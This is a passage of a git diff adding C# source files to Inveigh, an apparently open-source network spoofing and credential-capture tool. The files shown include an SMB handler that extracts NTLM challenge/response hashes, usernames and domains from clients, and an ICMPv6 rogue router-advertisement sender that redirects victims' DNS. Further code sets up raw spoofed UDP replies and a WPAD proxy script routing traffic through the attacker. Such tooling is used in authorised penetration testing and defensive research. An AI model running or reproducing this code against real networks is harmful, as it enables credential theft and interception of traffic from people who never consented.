+ Output.DHCPv6Output(packet.Message.MsgType, leaseIP, clientIP, clientMAC, clientHostName, message);
+ }
+
+ }
+
+ internal static void ProcessSMB(byte[] data, string clientIP, string listenerIP, string clientPort, string listenerPort)
+ {
+
+ if (data.Length >= 4)
+ {
+ NetBIOSSessionService requestNetBIOSSessionService = new NetBIOSSessionService(data);
+ SMBHeader smbHeader = new SMBHeader();
+ SMB2Header smb2Header = new SMB2Header();
+ int sessionServiceIndex = 0;
+
+ if (requestNetBIOSSessionService.Type == 0)
+ {
+ sessionServiceIndex = 4;
+ }
+
+ SMBHelper helper = new SMBHelper(data, sessionServiceIndex);
+ string session;
+ string challenge;
+
+ if (helper.Protocol[0] == 0xff)
+ {
+ smbHeader.ReadBytes(data, sessionServiceIndex);
+ string flags = Convert.ToString(smbHeader.Flags, 2).PadLeft(8, '0');
+
+ switch (smbHeader.Command)
+ {
+ case 0x72:
+ {
+
+ if (String.Equals(flags.Substring(0, 1), "0"))
+ {
+ Output.Queue(String.Format("[.] [{0}] SMB1({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
+ }
+
+ }
+
+ break;
+
+ case 0x73:
+ {
+
+ if (String.Equals(flags.Substring(0, 1), "1"))
+ {
+ SMBCOMSessionSetupAndXResponse smbCOMSessionSetupAndXResponse = new SMBCOMSessionSetupAndXResponse(data, 32 + sessionServiceIndex);
+
+ if (smbCOMSessionSetupAndXResponse.SecurityBlobLength > 0)
+ {
+
+ if (!BitConverter.ToString(smbCOMSessionSetupAndXResponse.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXResponse.SecurityBlob);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 2)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge(smbCOMSessionSetupAndXResponse.SecurityBlob);
+ session = String.Concat(listenerIP, ":", listenerPort);
+ challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
+ Program.smbSessionTable[session] = challenge;
+ Output.Queue(string.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", DateTime.Now.ToString("s"), clientPort, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ SMBCOMSessionSetupAndXRequest smbCOMSessionSetupAndXRequest = new SMBCOMSessionSetupAndXRequest(data, 32 + sessionServiceIndex);
+
+ if (smbCOMSessionSetupAndXRequest.SecurityBlobLength > 0)
+ {
+
+ if (!BitConverter.ToString(smbCOMSessionSetupAndXRequest.SecurityBlob).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smbCOMSessionSetupAndXRequest.SecurityBlob);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smbCOMSessionSetupAndXRequest.SecurityBlob);
+ session = String.Concat(clientIP, ":", clientPort);
+ challenge = Program.smbSessionTable[session]?.ToString();
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+ break;
+
+ }
+
+ }
+ else if (helper.Protocol[0] == 0xfe)
+ {
+ smb2Header.ReadBytes(data, sessionServiceIndex);
+ string flags = Convert.ToString(BitConverter.ToUInt16(smb2Header.Flags, 0), 2).PadLeft(smb2Header.Flags.Length * 8, '0');
+
+ switch (smb2Header.Command)
+ {
+
+ case 0:
+ {
+
+ if (String.Equals(flags.Substring(31, 1), "0"))
+ {
+ Output.Queue(String.Format("[.] [{0}] SMB2+({1}) negotiation request detected from {2}:{3}", Output.Timestamp(), listenerPort, clientIP, clientPort));
+ }
+
+ }
+ break;
+
+ case 1:
+ {
+
+ if (String.Equals(flags.Substring(31, 1), "1"))
+ {
+ SMB2SessionSetupResponse smb2SessionSetupResponse = new SMB2SessionSetupResponse(data, 64 + sessionServiceIndex);
+
+ if (smb2SessionSetupResponse.SecurityBufferLength > 0)
+ {
+
+ if (!BitConverter.ToString(smb2SessionSetupResponse.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupResponse.Buffer);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 2)
+ {
+ NTLMChallenge ntlmChallenge = new NTLMChallenge(smb2SessionSetupResponse.Buffer);
+ session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
+ challenge = BitConverter.ToString(ntlmChallenge.ServerChallenge).Replace("-", "");
+ Program.smbSessionTable[session] = challenge;
+ Output.Queue(String.Format("[+] [{0}] SMB({1}) NTLM challenge [{2}] sent to {3}:{4}", Output.Timestamp(), clientPort, challenge, clientIP, listenerPort));
+ }
+
+ }
+
+ }
+ else
+ {
+ Output.Queue(string.Format("[.] [{0}] SMB({1}) Kerberos authentication from {2}:{3}", DateTime.Now.ToString("s"), clientPort, clientIP, listenerPort));
+ }
+
+ }
+ }
+ else
+ {
+ SMB2SessionSetupRequest smb2SessionSetupRequest = new SMB2SessionSetupRequest(data, 64 + sessionServiceIndex);
+
+ if (smb2SessionSetupRequest.SecurityBufferLength > 0)
+ {
+
+ if (!BitConverter.ToString(smb2SessionSetupRequest.Buffer).Contains("2A-86-48-86-F7-12-01-02-02")) // kerberos
+ {
+ NTLMHelper ntlmHelper = new NTLMHelper(smb2SessionSetupRequest.Buffer);
+
+ if (ntlmHelper.Signature.StartsWith("NTLMSSP"))
+ {
+
+ if (ntlmHelper.MessageType == 3)
+ {
+ NTLMResponse ntlmResponse = new NTLMResponse(smb2SessionSetupRequest.Buffer);
+ session = BitConverter.ToString(smb2Header.SessionId).Replace("-", "");
+ challenge = Program.smbSessionTable[session]?.ToString();
+ string domain = Encoding.Unicode.GetString(ntlmResponse.DomainName);
+ string user = Encoding.Unicode.GetString(ntlmResponse.UserName);
+ string host = Encoding.Unicode.GetString(ntlmResponse.Workstation);
+ string response = BitConverter.ToString(ntlmResponse.NtChallengeResponse).Replace("-", "");
+ string lmResponse = BitConverter.ToString(ntlmResponse.LmChallengeResponse).Replace("-", "");
+ Output.NTLMOutput(user, domain, challenge, response, clientIP, host, "SMB", listenerPort, clientPort, lmResponse);
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+ }
+ break;
+ }
+
+ }
+
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Sockets/ICMPv6Socket.cs b/Inveigh/Sockets/ICMPv6Socket.cs
new file mode 100644
index 0000000..3f7c4a5
--- /dev/null
+++ b/Inveigh/Sockets/ICMPv6Socket.cs
@@ -0,0 +1,135 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.ICMPv6;
+using Quiddity.Support;
+using System;
+using System.Linq;
+using System.Net;
+using System.Net.Sockets;
+using System.Threading;
+
+namespace Inveigh
+{
+ class ICMPv6Socket
+ {
+ internal void Start()
+ {
+ Program.icmpv6Interval *= 1000;
+ string responseMessage = " ";
+ byte[] spooferIPv6Data = IPAddress.Parse(Program.argSpooferIPv6).GetAddressBytes();
+
+ while (Program.isRunning && Program.enabledICMPv6)
+ {
+
+ ICMPv6RouterAdvertisement routerAdvertisement = new ICMPv6RouterAdvertisement
+ {
+ RouterLifeTime = 1800
+ };
+
+ if (Program.enabledDHCPv6)
+ {
+ routerAdvertisement.Flags = 0xc8;
+ }
+ else if (!string.IsNullOrEmpty(Program.argDNSSuffix))
+ {
+ routerAdvertisement.Flags = 0x08;
+ responseMessage = " with DNS Suffix ";
+ byte[] dnsSearchListData = Utilities.GetDNSNameBytes(Program.argDNSSuffix, true);
+ int length = (int)Math.Ceiling((double)(dnsSearchListData.Length + 8) / 8);
+ int lengthAdjusted = length * 8 - 8;
+ byte[] dnsSearchListDataAdjusted = new byte[lengthAdjusted];
+ Buffer.BlockCopy(dnsSearchListData, 0, dnsSearchListDataAdjusted, 0, dnsSearchListData.Length);
+
+ ICMPv6DNSSearchList dnsSearchList = new ICMPv6DNSSearchList
+ {
+ Length = (byte)length,
+ Lifetime = 1800,
+ DomainNames = dnsSearchListDataAdjusted
+ };
+
+ routerAdvertisement.Options = dnsSearchList.GetBytes();
+ }
+ else
+ {
+ routerAdvertisement.Flags = 0x08;
+ responseMessage = " with DNSv6 ";
+
+ ICMPv6RecursiveDNS recursiveDNS = new ICMPv6RecursiveDNS
+ {
+ Length = 3,
+ Lifetime = 1800,
+ RecursiveDNSServers = spooferIPv6Data
+ };
+
+ routerAdvertisement.Options = recursiveDNS.GetBytes();
+ }
+
+ try
+ {
+ byte[] sendBuffer = routerAdvertisement.GetBytes();
+ Socket icmpv6SendSocket = new Socket(AddressFamily.InterNetworkV6, SocketType.Raw, ProtocolType.IcmpV6);
+ icmpv6SendSocket.SetSocketOption(SocketOptionLevel.IPv6, SocketOptionName.MulticastTimeToLive, 255);
+ icmpv6SendSocket.SendBufferSize = sendBuffer.Length;
+ IPEndPoint icmpv6EndPoint = new IPEndPoint(IPAddress.Parse("ff02::1"), 0);
+ icmpv6SendSocket.SendTo(sendBuffer.ToArray(), sendBuffer.Length, SocketFlags.None, icmpv6EndPoint);
+ icmpv6SendSocket.Close();
+ Output.Queue(String.Format("[+] [{0}] ICMPv6 router advertisement{1}sent to [ff02::1]", Output.Timestamp(), responseMessage ));
+ }
+ catch (Exception ex)
+ {
+
+ if (ex.Message.Equals("An attempt was made to access a socket in a way forbidden by its access permissions"))
+ {
+ Output.Queue(String.Format("[!] [{0}] ICMPv6 router advertisment failed [elevated access required]", Output.Timestamp()));
+ Program.enabledICMPv6 = false;
+ }
+ else
+ {
+ Console.WriteLine(ex);
+ }
+
+ }
+
+ if (Program.icmpv6Interval > 0)
+ {
+ Thread.Sleep(Program.icmpv6Interval);
+ }
+ else
+ {
+ break;
+ }
+
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Sockets/UDPSocket.cs b/Inveigh/Sockets/UDPSocket.cs
new file mode 100644
index 0000000..b8a9eb6
--- /dev/null
+++ b/Inveigh/Sockets/UDPSocket.cs
@@ -0,0 +1,78 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using Quiddity.UDP;
+using System;
+using System.Net;
+using System.Net.Sockets;
+
+namespace Inveigh
+{
+ class UDPSocket
+ {
+ public static void SendTo(string clientIP, int clientPort, string sourceIP, int sourcePort, byte[] buffer, bool isIPv6)
+ {
+ IPAddress clientIPAddress = IPAddress.Parse(clientIP);
+ AddressFamily addressFamily = AddressFamily.InterNetwork;
+ IPAddress sourceIPAddress = IPAddress.Parse(sourceIP);
+
+ UDPHeader header = new UDPHeader
+ {
+ SourcePort = (ushort)sourcePort,
+ DestinationPort = (ushort)clientPort,
+ Length = (ushort)(buffer.Length + 8)
+ };
+
+ if (String.Equals(clientIPAddress.AddressFamily.ToString(), "InterNetworkV6"))
+ {
+ sourceIPAddress = IPAddress.Parse(sourceIP);
+ addressFamily = AddressFamily.InterNetworkV6;
+ byte[] checksumBuffer = Utilities.BlockCopy(header.GetBytes(), buffer);
+ header.IPv6Checksum(checksumBuffer, clientIP, sourceIPAddress.ToString(), 17);
+ }
+
+ buffer = Utilities.BlockCopy(header.GetBytes(), buffer);
+
+ Socket socket = new Socket(addressFamily, SocketType.Raw, ProtocolType.Udp)
+ {
+ SendBufferSize = 1024
+ };
+
+ IPEndPoint ipEndPoint = new IPEndPoint(sourceIPAddress, sourcePort);
+ socket.Bind(ipEndPoint);
+ IPEndPoint clientEndpoint = new IPEndPoint(clientIPAddress, clientPort);
+ socket.SendTo(buffer, clientEndpoint);
+ socket.Close();
+ }
+
+ }
+}
diff --git a/Inveigh/Support/Arguments.cs b/Inveigh/Support/Arguments.cs
new file mode 100644
index 0000000..1de3da8
--- /dev/null
+++ b/Inveigh/Support/Arguments.cs
@@ -0,0 +1,508 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Net.NetworkInformation;
+using System.Net.Sockets;
+using System.Text.RegularExpressions;
+
+namespace Inveigh
+{
+ class Arguments
+ {
+ public static void ValidateArguments()
+ {
+
+ string[] ynArguments =
+ {
+ nameof(Program.argConsoleUnique),
+ nameof(Program.argDHCPv6),
+ nameof(Program.argDNS),
+ nameof(Program.argFileOutput),
+ nameof(Program.argFileUnique),
+ nameof(Program.argHTTP),
+ nameof(Program.argHTTPS),
+ nameof(Program.argICMPv6),
+ nameof(Program.argInspect),
+ nameof(Program.argIPv4),
+ nameof(Program.argIPv6),
+ nameof(Program.argLDAP),
+ nameof(Program.argLocal),
+ nameof(Program.argLLMNR),
+ nameof(Program.argLogOutput),
+ nameof(Program.argMachineAccounts),
+ nameof(Program.argMDNS),
+ nameof(Program.argMDNSUnicast),
+ nameof(Program.argNBNS),
+ nameof(Program.argProxy),
+ nameof(Program.argSniffer),
+ nameof(Program.argSMB),
+ nameof(Program.argWebDAV)
+ };
+
+ string[] ynArgumentValues =
+ {
+ Program.argConsoleUnique,
+ Program.argDHCPv6,
+ Program.argDNS,
+ Program.argFileOutput,
+ Program.argFileUnique,
+ Program.argHTTP,
+ Program.argHTTPS,
+ Program.argICMPv6,
+ Program.argInspect,
+ Program.argIPv4,
+ Program.argIPv6,
+ Program.argLDAP,
+ Program.argLocal,
+ Program.argLLMNR,
+ Program.argLogOutput,
+ Program.argMachineAccounts,
+ Program.argMDNS,
+ Program.argMDNSUnicast,
+ Program.argNBNS,
+ Program.argProxy,
+ Program.argSniffer,
+ Program.argSMB,
+ Program.argWebDAV
+ };
+
+ string[] intArguments =
+ {
+ nameof(Program.argConsole),
+ nameof(Program.argConsoleLimit),
+ nameof(Program.argConsoleStatus),
+ nameof(Program.argDHCPv6TTL),
+ nameof(Program.argDNSTTL),
+ nameof(Program.argICMPv6Interval),
+ nameof(Program.argLLMNRTTL),
+ nameof(Program.argMDNSTTL),
+ nameof(Program.argNBNSTTL),
+ nameof(Program.argProxyPort),
+ nameof(Program.argRunCount),
+ nameof(Program.argRunTime)
+ };
+
+ string[] intArgumentValues =
+ {
+ Program.argConsole,
+ Program.argConsoleLimit,
+ Program.argConsoleStatus,
+ Program.argDHCPv6TTL,
+ Program.argDNSTTL,
+ Program.argICMPv6Interval,
+ Program.argLLMNRTTL,
+ Program.argMDNSTTL,
+ Program.argNBNSTTL,
+ Program.argProxyPort,
+ Program.argRunCount,
+ Program.argRunTime
+ };
+
+ ValidateStringArguments(ynArguments, ynArgumentValues, new string[] { "Y", "N" });
+ ValidateStringArguments(new string[] { nameof(Program.argConsole) }, new string[] { Program.argConsole }, new string[] { "0", "1", "2", "3" });
+ string[] authArguments = { nameof(Program.argHTTPAuth), nameof(Program.argProxyAuth), nameof(Program.argWPADAuth), nameof(Program.argWebDAVAuth) };
+ string[] authArgumentValues = { Program.argHTTPAuth, Program.argProxyAuth, Program.argWPADAuth, Program.argWebDAVAuth };
+ ValidateStringArguments(authArguments, authArgumentValues, new string[] { "ANONYMOUS", "BASIC", "NTLM" });
+ ValidateStringArrayArguments(nameof(Program.argDNSTypes), Program.argDNSTypes, new string[] { "A", "SOA", "SRV" });
+ ValidateStringArrayArguments(nameof(Program.argDNSSRV), Program.argDNSSRV, new string[] { "LDAP", "KERBEROS", "KPASSWORD", "GC" });
+ ValidateStringArrayArguments(nameof(Program.argNBNSTypes), Program.argNBNSTypes, new string[] { "00", "03", "20", "1B", "1C", "1D", "1E" });
+ ValidateStringArrayArguments(nameof(Program.argMDNSQuestions), Program.argMDNSQuestions, new string[] { "QM", "QU" });
+ ValidateStringArrayArguments(nameof(Program.argMDNSTypes), Program.argMDNSTypes, new string[] { "A", "AAAA", "ANY" });
+ ValidateStringArrayArguments(nameof(Program.argLLMNRTypes), Program.argLLMNRTypes, new string[] { "A", "AAAA", "ANY" });
+ ValidateIntArguments(intArguments, intArgumentValues);
+ string[] ipAddressArguments = { nameof(Program.argSnifferIP), nameof(Program.argSnifferIPv6), nameof(Program.argListenerIP), nameof(Program.argListenerIPv6), nameof(Program.argSpooferIP), nameof(Program.argSpooferIPv6) };
+ string[] ipAddressArgumentValues = { Program.argSnifferIP, Program.argSnifferIPv6, Program.argListenerIP, Program.argListenerIPv6, Program.argSpooferIP, Program.argSpooferIPv6 };
+ ValidateIPAddressArguments(ipAddressArguments, ipAddressArgumentValues);
+ ValidateIntArrayArguments(nameof(Program.argHTTPPorts), Program.argHTTPPorts);
+ Regex r = new Regex("^[A-Fa-f0-9]{16}$");
+
+ if (!string.IsNullOrEmpty(Program.argChallenge) && !r.IsMatch(Program.argChallenge))
+ {
+ Console.WriteLine("Challenge is invalid");
+ Environment.Exit(0);
+ }
+
+ r = new Regex("^[A-Fa-f0-9]{12}$");
+
+ if (!string.IsNullOrEmpty(Program.argMAC) && !r.IsMatch(Program.argMAC))
+ {
+ Console.WriteLine("MAC address is invalid");
+ Environment.Exit(0);
+ }
+
+ if ((Program.argDNSTypes.Contains("SOA") || Program.argDNSTypes.Contains("SRV")) && (string.IsNullOrEmpty(Program.argDNSHost) || Program.argDNSHost.Split('.').Count() < 3))
+ {
+ Console.WriteLine("DNSHost must be specified and fully qualified when using DNSTypes SOA or SRV"); Environment.Exit(0);
+ }
+
+ if (string.Equals(Program.argFileOutput, "Y") && !Directory.Exists(Program.argFileDirectory))
+ {
+ Console.WriteLine("FileOutputDirectory is invalid");
+ Environment.Exit(0);
+ }
+
+ }
+
+ public static void ParseArguments()
+ {
+
+ try
+ {
+ Program.dnsDomain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName;
+ }
+ catch
+ {
+ Program.dnsDomain = Program.netbiosDomain;
+ }
+
+ Program.console = int.Parse(Program.argConsole);
+ Program.consoleQueueLimit = int.Parse(Program.argConsoleLimit);
+ Program.consoleStatus = int.Parse(Program.argConsoleStatus);
+ Program.icmpv6Interval = int.Parse(Program.argICMPv6Interval);
+ Program.runCount = int.Parse(Program.argRunCount);
+ Program.runTime = int.Parse(Program.argRunTime);
+ if (string.Equals(Program.argConsoleUnique, "Y")) { Program.enabledConsoleUnique = true; }
+ if (string.Equals(Program.argFileOutput, "Y")) { Program.enabledFileOutput = true; }
+ if (string.Equals(Program.argFileUnique, "Y")) { Program.enabledFileUnique = true; }
+ if (string.Equals(Program.argDHCPv6, "Y")) { Program.enabledDHCPv6 = true; }
+ if (string.Equals(Program.argDNS, "Y")) { Program.enabledDNS = true; }
+ if (string.Equals(Program.argHTTP, "Y")) { Program.enabledHTTP = true; }
+ if (string.Equals(Program.argHTTPS, "Y")) { Program.enabledHTTPS = true; }
+ if (string.Equals(Program.argICMPv6, "Y")) { Program.enabledICMPv6 = true; }
+ if (string.Equals(Program.argInspect, "Y")) { Program.enabledInspect = true; }
+ if (string.Equals(Program.argIPv4, "Y")) { Program.enabledIPv4 = true; }
+ if (string.Equals(Program.argIPv6, "Y")) { Program.enabledIPv6 = true; }
+ if (string.Equals(Program.argLDAP, "Y")) { Program.enabledLDAP = true; }
+ if (string.Equals(Program.argLLMNR, "Y")) { Program.enabledLLMNR = true; }
+ if (string.Equals(Program.argLogOutput, "Y")) { Program.enabledLogOutput = true; }
+ if (string.Equals(Program.argMDNS, "Y")) { Program.enabledMDNS = true; }
+ if (string.Equals(Program.argMDNSUnicast, "Y")) { Program.enabledMDNSUnicast = true; }
+ if (string.Equals(Program.argProxy, "Y")) { Program.enabledProxy = true; }
+ if (string.Equals(Program.argMachineAccounts, "Y")) { Program.enabledMachineAccounts = true; }
+ if (string.Equals(Program.argNBNS, "Y")) { Program.enabledNBNS = true; }
+ if (string.Equals(Program.argSniffer, "Y")) { Program.enabledSniffer = true; }
+ if (!Program.enabledWindows) { Program.enabledSniffer = false; }
+ if (string.Equals(Program.argSMB, "Y")) { Program.enabledSMB = true; }
+ if (string.Equals(Program.argWebDAV, "Y")) { Program.enabledWebDAV = true; }
+ if (string.Equals(Program.argLocal, "Y")) { Program.enabledLocal = true; }
+ if (string.Equals(Program.argRepeat, "Y")) { Program.enabledRepeat = true; }
+
+ if (!string.Equals(Program.argListenerIP, "0.0.0.0"))
+ {
+ Program.listenerIPAddress = IPAddress.Parse(Program.argListenerIP);
+ }
+ else
+ {
+ Program.argListenerIP = IPAddress.Any.ToString();
+ }
+
+ if (!string.Equals(Program.argListenerIPv6, "::"))
+ {
+ Program.listenerIPv6Address = IPAddress.Parse(Program.argListenerIPv6);
+ }
+ else
+ {
+ Program.argListenerIPv6 = IPAddress.IPv6Any.ToString();
+ }
+
+ if (Program.enabledSniffer)
+ {
+
+ if (Program.enabledIPv4 && string.IsNullOrEmpty(Program.argSnifferIP))
+ {
+ Program.argSnifferIP = GetLocalIPAddress("IPv4");
+
+ if (string.IsNullOrEmpty(Program.argSnifferIP))
+ {
+ Program.enabledIPv4 = false;
+ }
+
+ }
+
+ if (Program.enabledIPv6 && string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.argSnifferIPv6 = GetLocalIPAddress("IPv6");
+
+ if (string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.enabledIPv6 = false;
+ }
+
+ }
+
+ if (string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+ Program.argSpooferIP = Program.argSnifferIP;
+ }
+
+ if (string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+ Program.argSpooferIPv6 = Program.argSnifferIPv6;
+ }
+
+ }
+ else
+ {
+
+ if (!string.Equals(Program.argListenerIP, "0.0.0.0") && string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+ Program.argSpooferIP = Program.argListenerIP;
+ }
+ else
+ {
+ Program.argSpooferIP = GetLocalIPAddress("IPv4");
+
+ if (string.IsNullOrEmpty(Program.argSpooferIP))
+ {
+ Program.enabledIPv4 = false;
+ }
+
+ }
+
+ if (!string.Equals(Program.argListenerIPv6, "::") && string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+ Program.argSpooferIPv6 = Program.argListenerIPv6;
+ }
+ else
+ {
+ Program.argSpooferIPv6 = GetLocalIPAddress("IPv6");
+
+ if (string.IsNullOrEmpty(Program.argSpooferIPv6))
+ {
+ Program.enabledIPv6 = false;
+ }
+
+ }
+
+ }
+
+ if (string.IsNullOrEmpty(Program.argMAC))
+ {
+
+ if (string.IsNullOrEmpty(Program.argSnifferIPv6))
+ {
+ Program.argMAC = GetLocalMACAddress(GetLocalIPAddress("IPv6"));
+ }
+ else
+ {
+ Program.argMAC = GetLocalMACAddress(Program.argSnifferIPv6);
+ }
+
+ }
+
+ Program.argMAC = Program.argMAC.Insert(2, ":").Insert(5, ":").Insert(8, ":").Insert(11, ":").Insert(14, ":");
+
+ if (Program.enabledInspect)
+ {
+
+ if (Program.enabledElevated)
+ {
+ Program.enabledHTTP = false;
+ Program.enabledProxy = false;
+ Program.enabledSMB = false;
+ Program.enabledICMPv6 = false;
+ }
+ else
+ {
+ Program.enabledHTTP = false;
+ Program.enabledProxy = false;
+ }
+
+ }
+
+ if (Program.enabledProxy)
+ {
+ Program.argWPADResponse = string.Concat("function FindProxyForURL(url,host){", "return \"PROXY ", Program.argSnifferIP, ":", Program.argProxyPort, "; PROXY ", Program.argSnifferIP, ":", (int.Parse(Program.argProxyPort) + 1).ToString(), "; DIRECT\";}");
+ }
+ else if (string.IsNullOrEmpty(Program.argWPADResponse))
+ {
+ Program.argWPADResponse = "function FindProxyForURL(url,host) {return \"DIRECT\";}";
+ }
+ }
+
+ public static void ValidateStringArguments(string[] arguments, string[] values, string[] validValues)
+ {
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!validValues.Contains(value))
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be " + string.Join("/", validValues));
+ Environment.Exit(0);
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateStringArrayArguments(string argument, string[] values, string[] validValues)
+ {
+
+ foreach (string value in values)
+ {
+
+ if (!validValues.Contains(value))
+ {
+ Console.WriteLine(argument.Substring(3) + " value must be " + string.Join("/", validValues));
+ Environment.Exit(0);
+ }
+
+ }
+
+ }
+
+ public static void ValidateIntArguments(string[] arguments, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ Int32.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be an integer");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateIntArrayArguments(string argument, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ int.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(argument.Substring(3) + " values must be integers");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static void ValidateIPAddressArguments(string[] arguments, string[] values)
+ {
+
+ int i = 0;
+ foreach (string value in values)
+ {
+
+ if (!string.IsNullOrEmpty(value))
+ {
+
+ try
+ {
+ IPAddress.Parse(value);
+
+ }
+ catch
+ {
+ Console.WriteLine(arguments[i].Substring(3) + " value must be an IP address");
+ Environment.Exit(0);
+ }
+
+ }
+
+ i++;
+ }
+
+ }
+
+ public static string GetLocalIPAddress(string ipVersion)
+ {
+
+ List<string> ipAddressList = new List<string>();
+ AddressFamily addressFamily;
+
+ if (string.Equals(ipVersion, "IPv4"))
+ {
+ addressFamily = AddressFamily.InterNetwork;
+ }
+ else
+ {
+ addressFamily = AddressFamily.InterNetworkV6;
+ }
+
